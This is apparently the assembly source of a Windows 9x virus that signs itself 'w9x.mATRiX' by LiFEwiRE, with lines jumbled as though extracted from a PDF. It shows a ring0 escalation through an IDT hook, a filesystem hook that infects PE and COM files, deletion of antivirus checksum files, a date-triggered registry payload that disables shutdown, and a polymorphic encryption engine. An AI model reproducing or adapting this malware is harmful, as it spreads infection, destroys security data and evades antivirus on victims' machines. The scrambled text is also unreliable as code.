eax,00001000h $-4
mov
dword ptr [imagebase+ebp],eax
;Get imagebase at runtime
pushad call
setupSEHandKillEmu
;The call pushes the offset
mov
esp,[esp+8]
;Error gives us old
jmp
backtocode
ESP
setupSEHandKillEmu: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp dec byte ptr cs:[edx]
;fs:[edx] = smaller then fs:[0] ;Push original SEH handler ;And put the new one (located ;make error & let our SEH take ;control (not nice 4 emu's:)
backtocode: pop pop
dword ptr fs:[0] edx
;pops EIP pushed by call setupSEH
SetupSEH
;to kill errors
popad call
;if eip gets here an error has occured mov
esp,[esp+8]
;contains old ESP
jmp
RestoreSEH
;...
edx,edx dword ptr fs:[edx] fs:[edx],esp
;we are save now, if an error ;occure EIP will be at the ;code after SetupSEH
SetupSEH: xor push mov push sidt pop
edx fword ptr [esp-2] edx
add
edx,(inthook*8)+4
mov mov
ebx,dword ptr [edx] bx,word ptr [edx-4]
lea
edi,dword ptr [ebp+Inthandler]
;routine to let int point to
mov shr mov
word ptr [edx-4],di edi,16 word ptr [edx+2],di
;high/low word
int
inthook
;call int, int will be ring0!
mov shr mov
word ptr [edx-4],bx ebx,16 word ptr [edx+2],bx
;Restore old interrupt values
;'push' int table ;restore stack from call and ;edx contains pointer to IDT ;Get int vector
RestoreSEH: xor pop pop
edx,edx dword ptr fs:[edx] edx
mov add
edi,dword ptr [imagebase+ebp] edi,dword ptr [base+ebp]
lea mov rep
esi,[offset oldbytes+ebp] ecx,JmpToCodesz movsb
;pops offset pushed by CALL ;--- Restore old bytes ---; ;do at it ring0 to avoid ;page errorz
;restore bytes from host
popad mov imagebase add base equ push ret
eax,00h equ $-4 eax,offset host -0400000h $-4
;--- return to host ---; ;1st gen
eax
;----------------------------------------------------------------------------; ; **** RING0 LOADER **** ;----------------------------------------------------------------------------; Inthandler: pushad
VxD1V VxD1:
rep
VxD2V VxD2:
VxD5V VxD5:
mov cmp je mov
eax,0bff70404h dword ptr [eax],eax back2ring3 dword ptr [eax],eax
push xor push push push push push push push equ VMMCall add
PAGEFIXED + PAGEZEROINIT eax, eax eax eax eax eax eax PG_SYS SizeInPages*2 00010053h PageAllocate esp, 8*4
or jz
eax,eax back2ring3
;eax = place in mem ;if zero error :(
mov
edi,eax
;set (e)destination
push
eax
push lea mov cld movsb pop
edi esi,[offset start+ebp] ecx,virusz
mov
dword ptr [edi+delta-start],edi
lea push equ VxDCall pop
ecx,[edi+offset hook-offset start] ecx InstallFileSystemApiHook+256*256*IFSMgr IFSMgr,InstallFileSystemApiHook ecx
mov
[edi+nexthook-start],eax
pop
eax
push push push shr push equ VMMCall add
PC_STATIC 020060000h SizeInPages*2 eax, 12 eax 00010133h PageModifyPermissions esp, 4*4
call
CheckThePayloadDate
if debug eq 1 call endif back2ring3:
;already loaded?
;PhysAddr ;maxPhys ;minPhys ;Align ;handle of VM = 0 if PG_SYS ;allocate memory in system area ;nPages
;set source ;virussize ;you never know with poly :) ;copy virus to allocated mem
edi
debug_beep2
;Install FileSystem Hook
;new paging settings
;(and mayB do something:)
if debug eq 1 call endif
debug_beep
popad iretd ;exit int (to ring3!) ;----------------------------------------------------------------------------; host: oldbytes: Push Call db
0 ExitProcess JmpToCodesz-5 dup (176d)
;----------------------------------------------------------------------------; ; **** FILESYSTEM HOOK **** ;----------------------------------------------------------------------------; hook: push ebp mov ebp,esp sub esp,20h push push push
delta
ebx esi edi db dd
0bfh 0
cmp je
dword ptr [busy-start+edi],not "BuSY" back
if debug eq 1 cmp je endif
;mov edi,DeltaInMem
;...are we busy?
dword ptr [death-start+edi],'TRUE' back
mov not
eax,dword ptr [ebp+0Ch] eax
;EAX = Function
cmp jz
eax,not IFSFN_OPEN infect
;File Open? try it
cmp jz
eax,not IFSFN_RENAME infect
;Rename? try it
cmp jz
eax,not IFSFN_FILEATTRIB infect
;File Attributes? try it
back: mov eax,[ebp+28] push eax mov eax,[ebp+24] push eax mov eax,[ebp+20] push eax mov eax,[ebp+16] push eax mov eax,[ebp+12] push eax mov eax,[ebp+8]
; call the old
push
eax
db 0b8h nexthook dd 0 call [eax] add esp,6*4 pop edi pop esi pop ebx leave ret ;----------------------------------------------------------------------------; ; **** SOME CHECKS BEFORE INFECTING **** ;----------------------------------------------------------------------------; infect: pushad if debug eq 1 mov mov or jz
eax,0bff70400h eax,dword ptr [eax] eax,eax stayalive
;kill ourself?
mov
dword ptr [edi+death-start],'TRUE'
call call call call call
debug_beep debug_beep2 debug_beep2 debug_beep2 debug_beep
mov
eax,0bff70400h
xor mov mov
edx,edx dword ptr [eax],edx dword ptr [eax+4],edx
stayalive: endif mov
dword ptr [busy-start+edi],not 'BuSY'
lea
esi, [edi+filename-start]
mov cmp je add mov mov add
eax, dword ptr [ebp+16] al,0ffh nopath al,40h byte ptr [esi],al word ptr [esi+1],':' esi,2
xor push inc push mov
eax,eax eax ;push 0 ah eax ;push 100h eax,[ebp+28]
;file buffer
;no drive defined? ;a=1,b=2,a+40h='A',b+40h='B'
nopath: ;BCS/WANSI ;ax=100h ;buf size
mov add push push VxD3V VxD3:
eax,[eax+12] eax,4 eax esi
;filename ;destination (buffer)
equ UniToBCSPath+256*256*IFSMgr VxDCall IFSMgr, UniToBCSPath
;Convert to ASCII
add add mov
esp,4*4 esi,eax byte ptr [esi],0
;restore stack ;eax = lenght ;make ASCIIZ
mov
eax,dword ptr [esi-4]
not cmp je
eax eax,not 'EXE.' infectit
; ;normal exe?
cmp je
eax,not 'RCS.' infectit
;screensaver?
eax,not 'MOC.' nocomfile payloadinfector
;a com? (indeed !!:)
mov popad
dword ptr [busy-start+edi],eax
;hope eax <> 'busy' :)
jmp
back
cmp jne jmp nocomfile: quitinfect:
db db db db db counter db db db db
"<w9x.mATRiX." virusz/1000 mod 10+'0' virusz/0100 mod 10+'0' virusz/0010 mod 10+'0' virusz/0001 mod 10+'0',"." db "0001086 & MyLittlePoly." polysz/1000 mod 10+'0' polysz/0100 mod 10+'0' polysz/0010 mod 10+'0' polysz/0001 mod 10+'0'
;enough space for counter :)
if debug eq 1 db " Debug Version" endif db
" by LiFEwiRE [sHAD0WvX]>"
dontinfect: pop pop pop call jmp
;when attrs. were already modified esi ;get attribs + 1 = set ecx ;old attrs eax ;pointer to buffer with filen. R0_FileIO ;RESTORE ATTRIBUTES quitinfect
cryptkey cryptkey2
dd dw
0 0
;----------------------------------------------------------------------------; ; **** REAL PE INFECTION PART **** ;----------------------------------------------------------------------------; infectit: lea
esi, [edi+filename-start]
call jc
checkname quitinfect
if debug eq 1 cmp jne endif
;if name = bad
word ptr [esi],":D" quitinfect
mov push call
eax,R0_FILEATTRIBUTES + GET_ATTRIBUTES eax R0_FileIO
pop inc push push push xor call
eax eax eax ecx esi ecx,ecx R0_FileIO
xor mov inc mov inc mov call jc
ecx,ecx edx,ecx edx ebx,edx ebx eax,R0_OPENCREATFILE R0_FileIO dontinfect
;ecx=0 ; ;edx=1 ; ;ebx=2
mov
ebx,eax
;file handle
lea mov mov mov call
esi,[edi+pointertope-start] ecx,4 edx,03ch eax,R0_READFILE R0_FileIO
;read pointer to PE at 3ch ;into pointertope
lea mov mov mov call
esi,[edi+peheader-start] ;peheader buffer ecx,1024 ;1024 bytes edx,dword ptr [edi+pointertope-start] ;pointer to pe header eax,R0_READFILE ;... R0_FileIO
cmp jne
word ptr [esi],'EP' nope
;is pe? ;nope, its noPE :)
mov cmp je mov
eax,0badc0deh dword ptr [esi+4ch],eax nope dword ptr [esi+4ch],eax
;already infected? ;4ch = reserved
push push push
ebp edi ebx
;eax=4300+1 = set ;save attribs ;and esi,no new LEA needed ;new attr
;save handle for after calcs.
mov
ebp,edi
mov add add
edi,esi esi,18h si,word ptr [esi+14h-18h]
;esi+18h=start of OptionalHeader ;esi-4 = pe/0/0+14h = size OH ;optionalheader+size=allocation table
;edi = PE/0/0, esi = allocation table push xor mov xor push sectionsearch: cmp jb mov mov lower: add loop pop
;put in ecx nr. of sections ;startvalue of eax ;
dword ptr [esi+14h],eax lower ebx,ecx eax,dword ptr [esi+14h]
;is it the highest? ;no ;remember section nr. ;and remember value
esi,28h sectionsearch cx
;steps of 28h
sub
ecx,ebx
mov mul pop add
eax,28h ecx esi esi,eax
; Section ; ;esi+0h ; 8h ; 0ch ; 10h ; 14h ; 18h ; 1ch ; 20h ; 22h ; 24h
;
esi ecx,ecx cx,word ptr [edi+6] eax,eax cx
;multiply with section length
;esi points now to section header
header layout, Tdump names things other (4 example rawdata) 8h 4h 4h 4h 4h 4h 4h 2h 2h 4h
Section's name (.reloc, .idata, .LiFEwiRE) VirtualSize RelativeVirtualAdress SizeOfRawData PointerToRawData PointerToRelocations PointerToLinenumbers NumberOfRelocations NumberOfLinenumbers Characteristics
ESI points to Section header, EDI points to PE or
[esi+24h],sectionflags
; Update section's flagz
mov mov add add push
edx,[esi+10h] eax,edx edx,[esi+0Ch] eax,[esi+14h] eax
; ; ; ; ;
push
esi
add mov
eax,[esi+0Ch] [edi+50h],eax
mov mov mov
eax,[edi+28h] dword ptr [ebp+base-start],eax dword ptr [ebp+newEIP-start],edx
EDX = SizeOfRawData EAX = SizeOfRawData EDX = New EIP EAX = Where append virus Save it
;backup entry RVA ;... ;save it
add
edx,dword ptr [edi+34h]
;edx=neweip+imagebase
mov
dword ptr [ebp+distance-start],edx
mov add add
esi,edi esi,18h si,word ptr [esi+14h-18h]
; Store the address
;esi+18h=start of OptionalHeader ;esi-4 = pe/0/0+14h = size OH
;ESI points to the allocation table,EDI to PE ;lets find the section which contains the RVA. ;then the place where to put the jump is entry-rva+phys.
look:
sub
esi,28h
add mov sub cmp jae
esi,28h edx,eax edx,dword ptr [esi+0Ch] edx,dword ptr [esi+08h] look
sub add
eax,dword ptr [esi+0ch] eax,dword ptr [esi+14h]
;sub RVA ;add PhysicalOffset ;EAX is now the PhysicalOffset ;of the EntryPoint
or
[esi+24h],sectionflags
; Update section's flagz
pop pop pop
esi edx ebx
push push push
edx esi eax
;
lea mov mov mov call
esi,[ebp+oldbytes-start] ecx,JmpToCodesz edx,eax eax,R0_READFILE R0_FileIO
;read pointer to PE at 3ch ;into pointertope
mov
word ptr [ebp+randombla-start],ax
pop lea mov mov call
edx esi,[ebp+JmpToCode-start] eax,R0_WRITEFILE ecx,JmpToCodesz R0_FileIO
;and write new bytes at entry ;point to make code jmp to ;the section which contains ;the viruscode (modifying the ;entry RVA will alert AV's)
call
VxDPatch
;unpatch VxDCalls (and VMM)
call
IncCounter
;a ASCII counter rules
call
encrypt
;encrypt,createpoly,returnsize (in ecx)
;Old EntryPoint (RVA) ;VirtualAddres ;VirtualSize
;random value
;encrypt-^ returns the virus size in ecx mov mov
eax,ecx ecx,[edi+3Ch]
;ECX = Alignment
push xor push div pop sub add pop mov
edx edx,edx eax ecx eax ecx,edx eax,ecx edx ecx,eax
; Align
pop
esi
add mov add
[esi+10h],eax eax,[esi+10h] [esi+08h],eax
; Size of rawdata ; ; & virtual size
pop push lea mov push call
edx edi esi,[ebp+viruscopy-start] eax,R0_WRITEFILE eax R0_FileIO
;polymorfer returns size in ;the ECX register
pop pop mov mov call
eax esi ecx,1024 edx,[ebp+pointertope-start] R0_FileIO
pop pop
edi ebp
mov call
eax,R0_CLOSEFILE R0_FileIO
;aligned size to append
;append virus
;overwrite PE header
nope:
if debug eq 1 call endif
debug_beep
call call
killAVfiles infectwindotcom
jmp
dontinfect
;for payload
windotcom sizewdc
db equ
"C:\WINDOWS\WIN.COM",0h $-offset windotcom
avpcrc antivirdat ivbntz chklistms
db db db db
9,"AVP.CRC",0h 14,"ANTI-VIR.DAT",0h 9,"IVB.NTZ",0h 12,"CHKLIST.MS",0h
;for payload
killAVfiles: pushad ;first add the path to the filename
killing:
mov
ebp,edi
lea
edx,[offset avpcrc-start+ebp]
mov
ecx,4
call xor mov add loop
killthisfile ebx,ebx bl,byte ptr [edx] edx,ebx killing
popad ret
killthisfile: pushad lea push mov cld scasb jne std mov scasb jne
edi,[offset filename-start+ebp] edi al,'.' ;search from left to right for the dot $-1
al,'\'
;search from right to left for the \
$-1
xor
ecx,ecx
inc inc
edi edi
;edi pointed to char before \ ;edi pointed to \
cld
rep
mov lodsb mov movsb
esi,edx
pop mov mov call popad ret
esi eax,R0_DELETEFILE ecx,2027h R0_FileIO
cl,al
;-------------------------------------------------------------------------; **** MODIFIES COM FILES FOR PAYLOAD, SPECIAL FOR WIN.COM *** ;-------------------------------------------------------------------------infectwindotcomflag
db
0h
infectwindotcom: ;called if virus is not resident pushad mov byte ptr [edi+offset infectwindotcomflag-start],'!'
rep
push
edi
lea lea mov cld movsb
esi,[offset windotcom-start+edi] edi,[offset filename-start+edi] ecx,sizewdc
pop
edi
jmp
payloadinfector
backfrominfecting: mov popad ret
byte ptr [edi+offset infectwindotcomflag-start],173d ;-
;-------------------------------------------------------------------------jmpop jmpval
dw dw
0e990h ?
;nop & jmp
;-------------------------------------------------------------------------payloadinfector: if debug eq 1 cmp dword ptr [esi-8],'PRUB' jne wegvancom endif
;*BURP.COM ?
lea
esi, [edi+filename-start]
xor mov inc mov inc mov call jc
ecx,ecx edx,ecx edx ebx,edx ebx eax,R0_OPENCREATFILE R0_FileIO wegvancom
;ecx=0 ; ;edx=1 ; ;ebx=2
mov
ebx,eax
;file handle
lea mov xor mov call
esi,[edi+first4bts-start] ecx,4 edx,edx eax,R0_READFILE R0_FileIO
;read first 4 bytes
cmp je
word ptr [edi+first4bts-start],'ZM' closecomfile
;a renamed EXE ??
cmp je
word ptr [edi+first4bts-start],0e990h closecomfile
;already infected?
mov call
eax,R0_GETFILESIZE R0_FileIO
cmp ja
eax,0ffffh-0100h-dospayloadsize ;infectable? closecomfile
push
eax
sub mov
eax,4 word ptr [edi+jmpval-start],ax
lea mov mov
esi,[edi+offset jmpop-start] eax,R0_WRITEFILE ecx,4
;get it's size
;distance to jmp ;Write new jMP at 0h
xor push call
edx,edx eax R0_FileIO
pop pop push lea mov call
eax edx ;place to append edx esi,[edi+offset dospayload-start] ecx,dospayloadsize R0_FileIO
pop push sub mov mov lea call
edx ;read 7 bytes before the end edx edx,7 ecx,7 eax,R0_READFILE esi,[edi+offset filename-start] ;just a buffer R0_FileIO
pop
edx
cmp jne
word ptr [edi+offset filename-start+3],'SN' ;ENUNS? (ENU is closecomfile ;optional)
add
word ptr [edi+offset filename-start+5],dospayloadsize+7
mov
ecx,7
lea mov add call
esi,[edi+offset filename-start] eax,R0_WRITEFILE edx,dospayloadsize R0_FileIO ;append updated ENUNS
closecomfile: mov call
eax,R0_CLOSEFILE R0_FileIO
wegvancom: if debug eq 1 call endif
debug_beep
cmp je
byte ptr [edi+offset infectwindotcomflag-start],'!' backfrominfecting
jmp
quitinfect
;--------------------------------------------------------------------------
;-------------------------------------------------------------------------; *** BEEPS used if debug equ 1 *** ;--------------------------------------------------------------------------
if debug eq 1 debug_beep: push push mov
eax ecx eax,0bff70408h
cmp jne
byte ptr [eax],0 geenirritantgebiepvandaag
mov out
al, 0B6h 43h, al
mov out mov out
al, (12345678h/debug_beep_FREQ) and 255 42h, al al, ((12345678h/debug_beep_FREQ) shr 16) and 255 42h, al
in or out
al, 61h al, 3 61h, al
mov loop
ecx, debug_beep_DELAY $
in and out
al, 61h al, not 3 61h, al
pop pop ret
ecx eax
debug_beep2: push push
eax ecx
mov out
al, 0B6h 43h, al
mov out mov out
al, (12345678h/debug_beep_FREQ2) and 255 42h, al al, ((12345678h/debug_beep_FREQ2) shr 16) and 255 42h, al
in or out
al, 61h al, 3 61h, al
mov loop
ecx, debug_beep_DELAY2 $
in and out
al, 61h al, not 3 61h, al
geenirritantgebiepvandaag: pop pop ret
;blaa dit versta jij toch niet looser :P
ecx eax
endif
;-------------------------------------------------------------------------; File IO function, called lot of times, better for patching callback ;-------------------------------------------------------------------------R0_FileIO: VxD4V equ
Ring0_FileIO+256*256*IFSMgr
VxD4:
VxDCall IFSMgr, Ring0_FileIO ret
;--------------------------------------------------------------------------
;-------------------------------------------------------------------------; Increases the ASCII counter of infections ;-------------------------------------------------------------------------IncCounter: lea
;counts a ASCII counter... when there are more than ;9999999 files infected it contains a bug, but i don't esi,[offset counter-start+6+ebp] ;expect that from this vir :)
inc cmp jb mov dec jmp
byte ptr [esi] byte ptr [esi],'9'+1 ok byte ptr [esi],'0' esi next
next:
ok: ret
;-------------------------------------------------------------------------;-----------------------------------------------------------------------------; Some things used in the registery payload ;-----------------------------------------------------------------------------KeyOfPolicies valuename1 ValueToSet
db db dd
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0h "NoClose",0h ;no shutdown :) 1h
CheckThePayloadDate:
VxD6V VxD6:
mov out in
al,07h 70h,al al,71h
;Get day ;(returns it in hex btw!)
cmp jnz
al,06h noPayload
;Is it 6th?
mov out in
al,08h 70h,al al,71h
;Get month ;(returns it in hex btw!)
cmp jnz
al,04h noPayload
;Is it 4th? ;(
lea push lea push push equ VMMCall
eax,[offset pointertope+ebp] eax eax,[offset KeyOfPolicies+ebp] eax HKEY_CURRENT_USER RegOpenKey+256*256*1 RegOpenKey
;just a buffer
add
esp,3*4
;reset stackpointer
;open this key ;
VxD7V VxD7:
push lea push push push lea push push equ VMMCall
4 eax,[offset ValueToSet+ebp] eax REG_DWORD 0 eax,[offset valuename1+ebp] eax [pointertope+ebp] RegSetValueEx+256*256*1 RegSetValueEx
add
esp,6*4
;length of value ;set value true ;type ;reserved
;handle ;1 = VMM
noPayload: ret
;--------------------------------------------------------------------------
;-------------------------------------------------------------------------; Patches the VxDCalls (on execute windows modifies them to a real call) ;-------------------------------------------------------------------------VxDPatch: pushad mov
bx,020cdh
;int 20 used by VxDCall
mov mov
word ptr [VxD1-start+ebp],bx dword ptr [VxD1-start+ebp+2],VxD1V
mov mov
word ptr [VxD2-start+ebp],bx dword ptr [VxD2-start+ebp+2],VxD2V
mov mov
word ptr [VxD3-start+ebp],bx dword ptr [VxD3-start+ebp+2],VxD3V
mov mov
word ptr [VxD4-start+ebp],bx dword ptr [VxD4-start+ebp+2],VxD4V
mov mov
word ptr [VxD5-start+ebp],bx dword ptr [VxD5-start+ebp+2],VxD5V
mov mov
word ptr [VxD6-start+ebp],bx dword ptr [VxD6-start+ebp+2],VxD6V
mov mov
word ptr [VxD7-start+ebp],bx dword ptr [VxD7-start+ebp+2],VxD7V
;int 20 ;dd with IFSMGR & fn.
popad ret ;--------------------------------------------------------------------------
rnd32_seed
dd
0h
;------ this code is putted at EIP of host and jmps to virus code -----------; JmpToCode: stc db 066h,0fh,083h ;jnc randombla dw ? ;some place
mov distance
eax,12345678h equ $-4 eax
push ret EndJmpToCode: ;----------------------------------------------------------------------------; ;this sweet code will be appended to .com files (234 / 0eah bytes large) dospayload db db db db db db db db db db db db db db db db db db db first4bts dospayloadsize
label byte 0e8h,09h,00h,0ebh,012h,08bh,0ech,083h,0c4h,020h,0ebh,04h,0ebh 0fch,0cdh,021h,0e8h,02ch,00h,0ebh,0eeh,0e2h,0f9h,058h,08bh 0ech,02dh,03h,01h,0fbh,095h,0b4h,04ch,080h,0ech,022h,0cdh,021h 080h,0feh,07h,075h,05h,080h,0fah,07h,074h,017h,0beh,0eah,01h 03h,0f5h,0bfh,00h,01h,0a5h,0a5h,0b8h,00h,01h,050h,0c3h,0ebh 05h,0b8h,00h,04ch,0cdh,021h,0c3h,0beh,058h,01h,03h,0f5h,08bh 0feh,0b9h,092h,00h,0fch,0ach,0f6h,0d8h,0aah,0e2h,0fah,018h 07dh,00h,098h,00h,048h,0f9h,047h,0f6h,00h,018h,08dh,00h,042h 070h,0ffh,0fdh,0bh,018h,0a8h,00h,018h,0abh,00h,047h,0d4h,0ffh 018h,09eh,00h,018h,0b4h,00h,06h,015h,02h,0a0h,04ch,0d4h,033h 0dfh,076h,026h,04ch,0d4h,033h,0dfh,0d6h,02dh,080h,06h,0ech 08eh,0bh,09fh,03dh,0a9h,09fh,095h,09bh,0e0h,08bh,090h,0d4h 0e0h,0b2h,09bh,091h,0d2h,0d2h,0d2h,00h,0ach,098h,09bh,0e0h 0b3h,09fh,08ch,08eh,097h,088h,0e0h,098h,09fh,08dh,0e0h,087h 091h,08bh,0d2h,0d2h,0d2h,00h,089h,0c7h,088h,0d2h,093h,0bfh 0ach,0aeh,097h,0a8h,0e0h,0adh,0aah,0a8h,00h,018h,0eah,00h,0cdh 01h,04ch,0f6h,054h,055h,018h,055h,01h,0f6h,040h,08bh,09h,047h 0e2h,00h,018h,05fh,01h,01eh,05h,03dh,048h,0fdh,00h,033h,0f0h 04ch,0ffh,04bh,0e0h,033h,0f0h,03dh dd ? ;the first 4 overwritten bytes from the host equ $-offset dospayload
badnames
label byte 04h,"_AVP" 03h,"NAV" 02h,"TB" 02h,"F-" 03h,"PAV" 03h,"DRW" 04h,"DSAV" 03h,"NOD" 03h,"SCA" 05h,"NUKEN" 04h,"YAPS" 03h,"HL." 04h,"MIRC" 0h
db db db db db db db db db db db db db db
;_AVP files ;Norton AV ;Tbscan, Tbav32, whole shit ;F-Prot ;Panda AV ;Doc. Web ;Doc. Salomon ;NodIce ;SCAN ;Nukenabber? (error with infecting) ;YetAnotherPortScanner (selfcheck) ;HalfLife (thx to Ghostie!) ;mIRC = strange
;-------------------------------------------------------------------------; * Checks the name of the file to be infected ;-------------------------------------------------------------------------checkname: pushad
;check for some bad names
mov mov
ebp,edi edi,esi
mov cld scasb jne
al,'.'
;delta ;points to filename
;search from left to right for the dot $-1
std mov scasb jne inc inc
al,'\'
;search from right to left for the \
$-1 edi edi
;edi pointed to char before \ ;edi pointed to \
cld lea checkname2: xor lodsb or jz mov push rep cmpsb pop jz add jmp
esi,[offset badnames+ebp-start]
eax,eax al,al didit ecx,eax edi
;for load AL ;size of string in al
;counter for bytes ;save pointer to filename ;compare stringbyte
edi ArghItIsAshitFile esi,ecx checkname2
ArghItIsAshitFile: popad stc ret didit: popad clc ret ;--------------------------------------------------------------------------
;-------------------------------------------------------------------------; *** POLYMORFIC engine which generates decrypter & encrypts code *** ;--------------------------------------------------------------------------
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
The generated code will look like this: pushad lea RegUsedAsPointer,[eax+placewherecryptedcodestarts] mov keyregister,randomvalue sub keyregister,randomvalue mov counterreg,size again: mov tempregister,[RegUsedAsPointer] xor tempregister,keyregister mov [RegUsedAsPointer],tempregister add RegUsedAsPointer,4 dec counterreg pushf popf jz exit jmp again exit:
between each instruction some random code is putted.
polysz equ encrypt: push push push push push
offset polyend - offset encrypt eax ebx edx esi edi
lea
edi,[offset viruscopy+ebp-start]
call
gengarbage
;--------PUSHAD-mov al,60h stosb ;--------MOV----call
;edi points to buffer
;pushad
gengarbage
getregforoffset: ;This reg will contain the offset of code call getrndal cmp al,4 ;do not use ESP je getregforoffset cmp al,5 ;do not use EBP (!) je getregforoffset mov
ch,al
;--LEA reg,[EAX+x]shl al,3 mov ah,08dh xchg ah,al add ah,080h push edi stosw stosd ;------------------
call
getregforkey: call cmp je cmp je cmp je
;backup register for offset code
;lea
;save location for patch ;doesn't matter what we store
gengarbage
;This reg will contain the crypt key getrndal al,4 getregforkey al,1 getregforkey al,ch getregforkey
mov
cl,al
call
gengarbage
;--------MOV----add al,0b8h stosb call get_rnd32 stosd
;do not use ESP ;do not use ECX
;backup register
;make a MOV reg, rndvalue
;---------------mov mov
ebx,eax ah,cl
call
gengarbage
;--------SUB----mov al,081h add ah,0e8h stosw call get_rnd32 stosd ;----------------
sub
getregforsize: call cmp je cmp je cmp je
;backup key ;register back in ah
;make a SUB reg, rndvalue
ebx,eax
getrndal al,4 getregforsize al,cl getregforsize al,ch getregforsize
mov
dh,al
call
gengarbage
;----MOVSIZE----add al,0b8h stosb mov eax,virusz/4 stosd ;----------------
;Save the cryptkey
;do not use ESP ;nor keyreg ;nor offsetreg
;mov ecx,virussize (size to decrypt)
;***
AT THIS POINT IS EDI THE OFFSET FOR THE JMP
mov
esi,edi
;8b + 00, eax=3,[eax=0]
getregtoxor: call cmp je cmp je cmp je cmp je
mov
***
ch = reg2
;This reg will contain crypted code and'll be xored getrndal al,4 ;do not use ESP getregtoxor al,cl getregtoxor ;do not use the keyreg al,ch getregtoxor ;do not use the offset reg al,dh getregtoxor
dl,al
call
gengarbage
;-MOV REG3,[REG2] shl al,3 or al,ch mov ah,08bh xchg al,ah stosw ;----------------
call
gengarbage
;-XOR REG3,REG1-mov al,dl shl al,3 or al,cl add al,0c0h mov ah,33h xchg al,ah stosw ;----------------
call
gengarbage
mov
al,dl
;-MOV [REG2],REG3 shl al,3 or al,ch mov ah,089h xchg al,ah stosw ;----------------
call
;make a xor reg3,reg1 reg1=key
;make a mov [reg2],reg3 reg2=offset code
gengarbage
;-ADD REG2,4----mov al,83h stosb mov ax,004c0h add al,ch stosw ;----------------
call
;make a mov reg3,[reg2] reg2=offset code
;adds 4 to the offset register
gengarbage
;---DEC REG4----mov al,dh add al,048h stosb ;----------------
;decreases counter reg4 (size)
mov
;pushf
eax,9c66h
stosw
call
gengarbage
inc stosw
ah
;popf
;---JZ OVER-----mov ax,074h stosw push edi ;----------------
mov regenerate: mov
eax,edi edi,eax
call
gengarbage
mov sub cmp ja
edx,edi edx,eax edx,080h-5 regenerate
;can't generate > 80h-5 bytes of garbage ;between JZ beh - poly - JMP - beh: code... ;restore EDI for ja
;80h = max JZ distance, 5 is size of JMP BACK
;----JMP BACK---sub esi,edi mov al,0e9h stosb mov eax,0fffffffbh add eax,esi stosd ;----------------
;----PATCH JZ---pop esi mov sub mov
;esi-1 = jz value
eax,edi eax,esi byte ptr [esi-1],al
;---------------call
gengarbage
;----POPAD------mov al,61h stosb ;----------------
call
;popad
gengarbage
;----PATCH LEA--pop esi push edi
;patch LEA reg1,[EAX+startofcrypted]
sub edi,offset viruscopy-start sub edi,ebp mov dword ptr [esi+2],edi pop edi ;----------------
mov mov
ecx,virusz/4 esi,ebp
;copy encrypted virus code after poly ;decryptors
cryptit: lodsd xor stosd loop
eax,ebx cryptit
sub sub mov
edi,offset viruscopy-start edi,ebp ecx,edi
pop pop pop pop pop ret
edi esi edx ebx eax
;virus size + poly in ECX
;----------------------------------------------------------------------------; ; Generates lot of rnd instructions which look good but do nothing ; (they undo themself indirect) ;----------------------------------------------------------------------------; gengarbage: push push push push push
eax ebx ecx edx esi
garbageloop: call
get_rnd32
and
al,1111b
cmp je
al,1 genadd
;OK
cmp je
al,2 gensub
;OK
cmp je
al,3 genxor
;OK
cmp je
al,4 genmov
;OK
cmp je
al,5 genpush
;OK
cmp je
al,6 geninc
;OK
cmp je
al,7 gendec
;OK
cmp je
al,8 gencmp
;OK
cmp je
al,9 genjunk
;OK
cmp jb
al,0eh garbageloop
pop pop pop pop pop
esi edx ecx ebx eax
exitgen:
ret ;----------------------------------------------------------------------------; Generates random add ;----------------------------------------------------------------------------genadd: call getrndal cmp je
al,4 genadd
;4 = esp, leave him alone
cmp jb
ah,80h addandsub
;generate an add - code - sub
and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetoadd ;yep
call
pushregister
call
gengarbage
call
randomadd
call
gengarbage
call
popregister
jmp
exitgen
savetoadd: call jmp addandsub: push xchg mov add
randomadd exitgen
eax al,ah al,081h ah,0c0h
;is the reg. pushed?
;adds a value or register
stosw push
eax
call stosd push
get_rnd32
call
gengarbage
pop pop
ebx eax
add stosw mov stosd
ah,028h
eax
eax,ebx
pop eax jmp exitgen ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random sub ;----------------------------------------------------------------------------gensub: call getrndal cmp je
al,4 gensub
;4 = esp, leave him alone
cmp jb
ah,80h subandadd
;generate an add - code - sub
and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetosub ;yep
call
pushregister
call
gengarbage
call
randomsub
call
gengarbage
call
popregister
jmp
exitgen
savetosub: call
randomsub
jmp
exitgen
subandadd: push
eax
xchg mov add
al,ah al,081h ah,0e8h
;is the reg. pushed?
;adds a value or register
stosw push
eax
call stosd push
get_rnd32
call
gengarbage
pop pop
ebx eax
sub stosw mov stosd
ah,028h
pop
eax
eax
eax,ebx
jmp exitgen ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random xor ;----------------------------------------------------------------------------genxor: call getrndal cmp je
al,4 genxor
cmp jb
ah,80h genxorxor
and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetoxor ;yep
call
pushregister
;first push
call
gengarbage
;generate some garbage
call
randomxor
;xors with a value or register
call
gengarbage
;generate some garbage
call
popregister
;and pop it
jmp
exitgen
savetoxor: call
randomxor
jmp
exitgen
genxorxor: push xchg add
eax al,ah ah,0f0h
;generate an xor - code - xor
;is the reg. pushed?
mov
al,081h
stosw push
eax
call stosd push
get_rnd32
call
gengarbage
pop pop
ebx eax
eax
stosw mov
eax,ebx
stosd pop jmp
eax exitgen
;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random mov ;----------------------------------------------------------------------------genmov: call getrndal cmp je
al,4 genmov
and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetomov ;yep
call
pushregister
;first push
call
gengarbage
;generate some garbage
call
randommov
;movs a value or register
call
gengarbage
;generate some garbage
call
popregister
;and pop it
jmp
exitgen
; eax <- al ;is the reg. pushed?
savetomov: call
randommov
jmp exitgen ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random push ;----------------------------------------------------------------------------genpush: call getrndal
cmp je
al,4 genpush
and
eax,111b
call
pushregister
call
gengarbage
call
popregister
jmp exitgen ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random inc ;----------------------------------------------------------------------------geninc: ;40 call getrndal cmp al,4 je geninc cmp ja
ah,80h genincdec
